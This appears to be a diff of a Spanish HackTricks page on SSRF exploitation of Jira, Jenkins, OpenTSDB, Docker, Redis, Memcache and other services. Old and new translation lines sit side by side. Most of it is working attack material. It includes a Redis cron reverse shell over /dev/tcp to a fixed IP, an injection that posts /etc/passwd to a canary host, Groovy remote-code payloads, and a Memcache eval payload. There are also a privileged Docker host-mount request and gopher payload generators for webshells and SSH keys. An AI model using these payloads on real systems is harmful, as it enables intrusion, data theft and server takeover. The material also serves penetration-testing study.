**SSRF Canary: iconUriServlet - Jira < 7.3.5 (CVE-2017-9506)**
|
||||
|
||||
[Ticket de seguridad de Atlassian OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344)
|
||||
[Ticket de Seguridad de Atlassian OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344)
|
||||
```bash
|
||||
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
|
||||
```
|
||||
**SSRF Canary: makeRequest - Jira < 8.4.0 (CVE-2019-8451)**
|
||||
|
||||
[Ticket de seguridad de Atlassian JRASERVER-69793](https://jira.atlassian.com/browse/JRASERVER-69793)
|
||||
[Ticket de Seguridad de Atlassian JRASERVER-69793](https://jira.atlassian.com/browse/JRASERVER-69793)
|
||||
```bash
|
||||
/plugins/servlet/gadgets/makeRequest?url=https://SSRF_CANARY:443@example.com
|
||||
```
|
||||
## Otros productos de Atlassian
|
||||
## Otros Productos de Atlassian
|
||||
|
||||
**Puertos comúnmente utilizados: 80, 443 (SSL), 8080, 8443 (SSL)**
|
||||
**Puertos comúnmente asignados: 80,443 (SSL),8080,8443 (SSL)**
|
||||
|
||||
**SSRF Canary: iconUriServlet (CVE-2017-9506)**:
|
||||
|
||||
|
@ -369,7 +301,7 @@ Tomado de [aquí](https://blog.safebuff.com/2016/07/03/SSRF-Tips/).
|
|||
* Crucible < 4.3.2
|
||||
* Fisheye < 4.3.2
|
||||
|
||||
[Ticket de seguridad de Atlassian OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344)
|
||||
[Ticket de Seguridad de Atlassian OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344)
|
||||
```bash
|
||||
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
|
||||
```
|
||||
|
@ -379,21 +311,21 @@ Tomado de [aquí](https://blog.safebuff.com/2016/07/03/SSRF-Tips/).
|
|||
|
||||
[OpenTSDB Ejecución Remota de Código](https://packetstormsecurity.com/files/136753/OpenTSDB-Remote-Code-Execution.html)
|
||||
|
||||
**SSRF Canary: curl a través de RCE**
|
||||
**SSRF Canary: curl vía RCE**
|
||||
```bash
|
||||
/q?start=2016/04/13-10:21:00&ignore=2&m=sum:jmxdata.cpu&o=&yrange=[0:]&key=out%20right%20top&wxh=1900x770%60curl%20SSRF_CANARY%60&style=linespoint&png
|
||||
```
|
||||
[OpenTSDB 2.4.0 Ejecución Remota de Código](https://github.com/OpenTSDB/opentsdb/issues/2051)
|
||||
[OpenTSDB 2.4.0 Ejecución de Código Remoto](https://github.com/OpenTSDB/opentsdb/issues/2051)
|
||||
|
||||
**SSRF Canary: curl a través de RCE - CVE-2020-35476**
|
||||
**SSRF Canary: curl vía RCE - CVE-2020-35476**
|
||||
```bash
|
||||
/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system('wget%20--post-file%20/etc/passwd%20SSRF_CANARY')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json
|
||||
```
|
||||
## Jenkins
|
||||
|
||||
**Puertos comúnmente utilizados: 80, 443 (SSL), 8080, 8888**
|
||||
**Puertos comunes: 80,443 (SSL),8080,8888**
|
||||
|
||||
Excelente artículo [aquí](https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html).
|
||||
Gran artículo [aquí](https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html).
|
||||
|
||||
**SSRF Canary: CVE-2018-1000600**
|
||||
```bash
|
||||
|
@ -401,45 +333,35 @@ Excelente artículo [aquí](https://blog.orange.tw/2019/01/hacking-jenkins-part-
|
|||
```
|
||||
**RCE**
|
||||
|
||||
Sigue las instrucciones aquí para lograr RCE a través de GET: [Hacking Jenkins Parte 2 - Abusando de la Meta Programación para RCE sin autenticación](https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html)
|
||||
Sigue las instrucciones aquí para lograr RCE a través de GET: [Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE!](https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html)
|
||||
```bash
|
||||
/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name='orange.tw', root='http://SSRF_CANARY/')%0a@Grab(group='tw.orange', module='poc', version='1')%0aimport Orange;
|
||||
```
|
||||
**RCE a través de Groovy**
|
||||
|
||||
En algunos casos, es posible lograr la ejecución remota de código (RCE) utilizando el lenguaje de programación Groovy. Groovy es un lenguaje de scripting que se ejecuta en la máquina virtual de Java (JVM) y se utiliza comúnmente en aplicaciones basadas en Java.
|
||||
|
||||
La vulnerabilidad de RCE a través de Groovy generalmente ocurre cuando una aplicación permite a los usuarios cargar y ejecutar scripts Groovy de forma dinámica. Esto puede suceder si la aplicación utiliza la biblioteca Groovy para evaluar scripts o si permite a los usuarios cargar archivos Groovy que luego se ejecutan en el servidor.
|
||||
|
||||
Un atacante puede aprovechar esta vulnerabilidad cargando un script Groovy malicioso que contiene código malicioso para ejecutar comandos en el servidor. Esto puede permitir al atacante obtener acceso no autorizado al sistema, leer o modificar archivos sensibles, o incluso tomar el control completo del servidor.
|
||||
|
||||
Para protegerse contra esta vulnerabilidad, es importante validar y filtrar cualquier entrada de usuario que se utilice para cargar y ejecutar scripts Groovy. Esto puede incluir la implementación de listas blancas de funciones permitidas, la restricción de acceso a recursos sensibles y la aplicación de políticas de seguridad adecuadas.
|
||||
|
||||
Es importante tener en cuenta que esta vulnerabilidad solo se aplica a aplicaciones que utilizan Groovy como lenguaje de scripting y permiten la ejecución dinámica de scripts Groovy. No todas las aplicaciones basadas en Java son vulnerables a este tipo de ataque.
|
||||
```
|
||||
cmd = 'curl burp_collab'
|
||||
pay = 'public class x {public x(){"%s".execute()}}' % cmd
|
||||
data = 'http://jenkins.internal/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=' + urllib.quote(pay)
|
||||
```
|
||||
## Panel de control de Hystrix
|
||||
## Tablero Hystrix
|
||||
|
||||
**Puertos comúnmente utilizados: 80, 443 (SSL), 8080**
|
||||
**Puertos comúnmente asignados: 80,443 (SSL),8080**
|
||||
|
||||
Spring Cloud Netflix, versiones 2.2.x anteriores a 2.2.4, versiones 2.1.x anteriores a 2.1.6.
|
||||
|
||||
**Canario SSRF: CVE-2020-5412**
|
||||
**SSRF Canary: CVE-2020-5412**
|
||||
```bash
|
||||
/proxy.stream?origin=http://SSRF_CANARY/
|
||||
```
|
||||
## W3 Total Cache
|
||||
|
||||
**Puertos comúnmente utilizados: 80,443 (SSL)**
|
||||
**Puertos comúnmente asignados: 80,443 (SSL)**
|
||||
|
||||
W3 Total Cache 0.9.2.6-0.9.3
|
||||
|
||||
**SSRF Canary: CVE-2019-6715**
|
||||
|
||||
Esto debe ser una solicitud PUT:
|
||||
Esto necesita ser una solicitud PUT:
|
||||
```bash
|
||||
PUT /wp-content/plugins/w3-total-cache/pub/sns.php HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
@ -453,9 +375,9 @@ Connection: close
|
|||
```
|
||||
**SSRF Canary**
|
||||
|
||||
El aviso para esta vulnerabilidad fue publicado aquí: [Vulnerabilidad SSRF en W3 Total Cache](https://klikki.fi/adv/w3\_total\_cache.html)
|
||||
El aviso para esta vulnerabilidad se publicó aquí: [Vulnerabilidad SSRF de W3 Total Cache](https://klikki.fi/adv/w3\_total\_cache.html)
|
||||
|
||||
Este código PHP generará un payload para tu host de SSRF Canary (reemplaza `url` con tu host de canary):
|
||||
Este código PHP generará un payload para tu host SSRF Canary (reemplaza `url` con tu host canary):
|
||||
```php
|
||||
<?php
|
||||
|
||||
|
@ -469,33 +391,15 @@ echo($req);
|
|||
```
|
||||
## Docker
|
||||
|
||||
**Puertos comúnmente utilizados: 2375, 2376 (SSL)**
|
||||
**Puertos comúnmente asignados: 2375, 2376 (SSL)**
|
||||
|
||||
Si tienes un SSRF parcialmente ciego, puedes utilizar las siguientes rutas para verificar la presencia de la API de Docker:
|
||||
Si tienes un SSRF parcialmente ciego, puedes usar las siguientes rutas para verificar la presencia de la API de Docker:
|
||||
```bash
|
||||
/containers/json
|
||||
/secrets
|
||||
/services
|
||||
```
|
||||
**RCE a través de la ejecución de una imagen de Docker arbitraria**
|
||||
|
||||
En algunos casos, los servidores vulnerables permiten a los usuarios ejecutar imágenes de Docker arbitrarias. Esto puede conducir a una ejecución remota de código (RCE) si se explota correctamente.
|
||||
|
||||
Para aprovechar esta vulnerabilidad, primero necesitamos encontrar una forma de ejecutar comandos en el servidor. Una opción común es utilizar una función de ejecución de comandos del lenguaje de programación subyacente, como `exec()` en PHP.
|
||||
|
||||
Una vez que tenemos la capacidad de ejecutar comandos en el servidor, podemos utilizar una imagen de Docker maliciosa para lograr la RCE. Esto se logra montando el directorio raíz del sistema de archivos del servidor como un volumen en el contenedor de Docker. Luego, podemos ejecutar comandos en el contexto del servidor a través del contenedor.
|
||||
|
||||
Aquí hay un ejemplo de cómo se puede lograr esto utilizando una imagen de Docker maliciosa:
|
||||
|
||||
```bash
|
||||
docker run -v /:/host -it malicious-image /bin/sh
|
||||
```
|
||||
|
||||
En este ejemplo, montamos el directorio raíz del sistema de archivos del servidor como `/host` en el contenedor de Docker. Luego, ejecutamos un shell interactivo dentro del contenedor, lo que nos permite ejecutar comandos en el contexto del servidor.
|
||||
|
||||
Es importante tener en cuenta que esta técnica solo funcionará si el servidor permite a los usuarios ejecutar imágenes de Docker arbitrarias. Además, es crucial asegurarse de que la imagen de Docker utilizada sea maliciosa y contenga el código necesario para lograr la RCE.
|
||||
|
||||
En resumen, la ejecución de una imagen de Docker arbitraria puede ser una forma efectiva de lograr la RCE en servidores vulnerables. Sin embargo, es importante tener en cuenta las limitaciones y asegurarse de que se cumplan las condiciones necesarias para explotar esta vulnerabilidad.
|
||||
**Ejecución de RCE a través de una imagen docker arbitraria**
|
||||
```http
|
||||
POST /containers/create?name=test HTTP/1.1
|
||||
Host: website.com
|
||||
|
@ -504,34 +408,34 @@ Content-Type: application/json
|
|||
|
||||
{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}
|
||||
```
|
||||
Reemplace "alpine" con una imagen arbitraria que desee que el contenedor de Docker ejecute.
|
||||
Reemplace alpine con una imagen arbitraria que desee que ejecute el contenedor de docker.
|
||||
|
||||
## Gitlab Prometheus Redis Exporter
|
||||
|
||||
**Puertos comúnmente vinculados: 9121**
|
||||
|
||||
Esta vulnerabilidad afecta a las instancias de Gitlab anteriores a la versión 13.1.1. Según la [documentación de Gitlab](https://docs.gitlab.com/ee/administration/monitoring/prometheus/#configuring-prometheus), "Prometheus y sus exportadores están activados de forma predeterminada a partir de GitLab 9.0".
|
||||
Esta vulnerabilidad afecta a instancias de Gitlab antes de la versión 13.1.1. Según la [documentación de Gitlab](https://docs.gitlab.com/ee/administration/monitoring/prometheus/#configuring-prometheus) `Prometheus y sus exportadores están activados por defecto, a partir de GitLab 9.0.`
|
||||
|
||||
Estos exportadores proporcionan un excelente método para que un atacante pivotee y ataque otros servicios utilizando CVE-2020-13379. Uno de los exportadores que se puede explotar fácilmente es el Exportador de Redis.
|
||||
Estos exportadores proporcionan un excelente método para que un atacante pivote y ataque otros servicios utilizando CVE-2020-13379. Uno de los exportadores que se explota fácilmente es el Redis Exporter.
|
||||
|
||||
El siguiente punto final permitirá a un atacante volcar todas las claves en el servidor de Redis proporcionado a través del parámetro objetivo:
|
||||
El siguiente punto final permitirá a un atacante volcar todas las claves en el servidor redis proporcionadas a través del parámetro target:
|
||||
```bash
|
||||
http://localhost:9121/scrape?target=redis://127.0.0.1:7001&check-keys=*
|
||||
```
|
||||
***
|
||||
|
||||
**Posible a través de Gopher**
|
||||
**Posible vía Gopher**
|
||||
|
||||
## Redis
|
||||
|
||||
**Puerto comúnmente utilizado: 6379**
|
||||
**Puerto comúnmente asignado: 6379**
|
||||
|
||||
Lectura recomendada:
|
||||
|
||||
* [Intentando hackear Redis a través de solicitudes HTTP](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html)
|
||||
* [Exploits SSRF contra Redis](https://maxchadwick.xyz/blog/ssrf-exploits-against-redis)
|
||||
* [Intentando hackear Redis a través de peticiones HTTP](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html)
|
||||
* [Explotaciones de SSRF contra Redis](https://maxchadwick.xyz/blog/ssrf-exploits-against-redis)
|
||||
|
||||
**RCE a través de Cron** - [Superficies de Ataque Gopher](https://blog.chaitin.cn/gopher-attack-surfaces/)
|
||||
**RCE vía Cron** - [Superficies de Ataque Gopher](https://blog.chaitin.cn/gopher-attack-surfaces/)
|
||||
```bash
|
||||
redis-cli -h $1 flushall
|
||||
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1\n\n"|redis-cli -h $1 -x set 1
|
||||
|
@ -540,24 +444,10 @@ redis-cli -h $1 config set dbfilename root
|
|||
redis-cli -h $1 save
|
||||
```
|
||||
Gopher:
|
||||
|
||||
Gopher es un protocolo de red que permite a los clientes obtener y mostrar documentos de servidores remotos. Es similar a HTTP, pero más simple y menos utilizado en la actualidad. Sin embargo, algunos servidores aún admiten el protocolo Gopher y pueden ser vulnerables a ataques de SSRF.
|
||||
|
||||
El SSRF (Server-Side Request Forgery) es una vulnerabilidad que permite a un atacante enviar solicitudes desde el servidor hacia otros recursos en la red interna o externa. Esto puede ser utilizado para escanear puertos, acceder a servicios no autorizados o incluso atacar otros sistemas.
|
||||
|
||||
Algunas plataformas y aplicaciones web pueden ser vulnerables a ataques de SSRF debido a la forma en que manejan las solicitudes de red. Algunos ejemplos de plataformas que han sido conocidas por tener esta vulnerabilidad incluyen:
|
||||
|
||||
- **GCP Metadata**: Google Cloud Platform (GCP) permite a los usuarios acceder a la información de metadatos de las instancias de Compute Engine a través de una dirección IP especial. Si un servidor es vulnerable a SSRF, un atacante podría utilizar esta funcionalidad para obtener información confidencial o incluso obtener acceso no autorizado a otras instancias.
|
||||
|
||||
- **AWS EC2 Metadata**: Amazon Web Services (AWS) proporciona un servicio de metadatos para las instancias de EC2. Al igual que en el caso de GCP, si un servidor es vulnerable a SSRF, un atacante podría utilizar esta funcionalidad para obtener información confidencial o realizar acciones no autorizadas en otras instancias.
|
||||
|
||||
- **Azure Instance Metadata**: Microsoft Azure también proporciona un servicio de metadatos para las instancias de Azure. Al igual que en los casos anteriores, si un servidor es vulnerable a SSRF, un atacante podría utilizar esta funcionalidad para obtener información confidencial o realizar acciones no autorizadas en otras instancias.
|
||||
|
||||
Estos son solo algunos ejemplos de plataformas que pueden ser vulnerables a ataques de SSRF. Es importante tener en cuenta que la lista no es exhaustiva y que cualquier aplicación web que realice solicitudes de red desde el servidor puede ser potencialmente vulnerable. Como pentester, es crucial identificar y explotar estas vulnerabilidades para ayudar a proteger los sistemas y datos de los clientes.
|
||||
```bash
|
||||
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
|
||||
```
|
||||
**RCE a través de la carga de shell (PHP)** - [Resumen de la obtención de shell en Redis](https://www.mdeditor.tw/pl/pBy0)
|
||||
**RCE mediante carga de Shell (PHP)** - [Resumen de Redis Getshell](https://www.mdeditor.tw/pl/pBy0)
|
||||
```python
|
||||
#!/usr/bin/env python
|
||||
# -*-coding:utf-8-*-
|
||||
|
@ -595,7 +485,7 @@ for x in cmd:
|
|||
payload += urllib.quote(redis_format(x))
|
||||
print payload
|
||||
```
|
||||
**RCE a través de authorized\_keys** - [Resumen de la obtención de shell en Redis](https://www.mdeditor.tw/pl/pBy0)
|
||||
**RCE a través de authorized_keys** - [Resumen de Redis Getshell](https://www.mdeditor.tw/pl/pBy0)
|
||||
```python
|
||||
import urllib
|
||||
protocol="gopher://"
|
||||
|
@ -634,36 +524,36 @@ print payload
|
|||
|
||||
Excelente artículo de Liveoverflow [aquí](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/).
|
||||
|
||||
Aunque se requiere acceso autenticado a GitLab para explotarlo, incluiré aquí el payload ya que el protocolo `git` puede funcionar en el objetivo que estás hackeando. Este payload es solo de referencia.
|
||||
Aunque esto requería acceso autenticado a GitLab para explotar, incluyo el payload aquí ya que el protocolo `git` podría funcionar en el objetivo que estás hackeando. Este payload es para referencia.
|
||||
```bash
|
||||
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
|
||||
```
|
||||
## Memcache
|
||||
|
||||
**Puerto comúnmente utilizado: 11211**
|
||||
**Puerto comúnmente asignado: 11211**
|
||||
|
||||
* [vBulletin Memcache RCE](https://www.exploit-db.com/exploits/37815)
|
||||
* [GitHub Enterprise Memcache RCE](https://www.exploit-db.com/exploits/42392)
|
||||
* [Ejemplo de carga útil Gopher para Memcache](https://blog.safebuff.com/2016/07/03/SSRF-Tips/#SSRF-memcache-Getshell)
|
||||
* [Ejemplo de payload Gopher para Memcache](https://blog.safebuff.com/2016/07/03/SSRF-Tips/#SSRF-memcache-Getshell)
|
||||
```bash
|
||||
gopher://[target ip]:11211/_%0d%0aset ssrftest 1 0 147%0d%0aa:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";s:5:"/.*/e";s:7:"replace";s:33:"eval(base64_decode($_POST[ccc]));";}}s:13:"rewritestatus";i:1;}%0d%0a
|
||||
gopher://192.168.10.12:11211/_%0d%0adelete ssrftest%0d%0a
|
||||
```
|
||||
## Apache Tomcat
|
||||
|
||||
**Puertos comúnmente utilizados: 80, 443 (SSL), 8080, 8443 (SSL)**
|
||||
**Puertos comúnmente asignados: 80,443 (SSL),8080,8443 (SSL)**
|
||||
|
||||
Efectivo solo contra Tomcat 6:
|
||||
|
||||
[gopher-tomcat-deployer](https://github.com/pimps/gopher-tomcat-deployer)
|
||||
|
||||
CTF writeup utilizando esta técnica:
|
||||
Writeup de CTF utilizando esta técnica:
|
||||
|
||||
[De XXE a RCE: Pwn2Win CTF 2018 Writeup](https://bookgin.tw/2018/12/04/from-xxe-to-rce-pwn2win-ctf-2018-writeup/)
|
||||
|
||||
## FastCGI
|
||||
|
||||
**Puertos comúnmente utilizados: 80, 443 (SSL)**
|
||||
**Puertos comúnmente asignados: 80,443 (SSL)**
|
||||
|
||||
Esto fue tomado de [aquí](https://blog.chaitin.cn/gopher-attack-surfaces/).
|
||||
```bash
|
||||
|
@ -671,9 +561,9 @@ gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%
|
|||
```
|
||||
## Java RMI
|
||||
|
||||
**Puertos comúnmente enlazados: 1090,1098,1099,1199,4443-4446,8999-9010,9999**
|
||||
**Puertos comúnmente asignados: 1090,1098,1099,1199,4443-4446,8999-9010,9999**
|
||||
|
||||
Las vulnerabilidades ciegas de _SSRF_ que permiten bytes arbitrarios (basadas en _gopher_) se pueden utilizar para realizar ataques de deserialización o de código en los componentes predeterminados de _Java RMI_ (_RMI Registry_, _Distributed Garbage Collector_, _Activation System_). Se puede encontrar un análisis detallado [aquí](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/). El siguiente listado muestra un ejemplo de generación de carga útil:
|
||||
Vulnerabilidades de _SSRF_ ciegas que permiten bytes arbitrarios (_basados en gopher_) pueden ser utilizadas para realizar ataques de deserialización o de base de código en los componentes predeterminados de _Java RMI_ (_RMI Registry_, _Distributed Garbage Collector_, _Activation System_). Un artículo detallado se puede encontrar [aquí](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/). La siguiente lista muestra un ejemplo para la generación del payload:
|
||||
```
|
||||
$ rmg serial 127.0.0.1 1090 CommonsCollections6 'curl example.burpcollaborator.net' --component reg --ssrf --gopher
|
||||
[+] Creating ysoserial payload... done.
|
||||
|
@ -684,12 +574,14 @@ $ rmg serial 127.0.0.1 1090 CommonsCollections6 'curl example.burpcollaborator.n
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue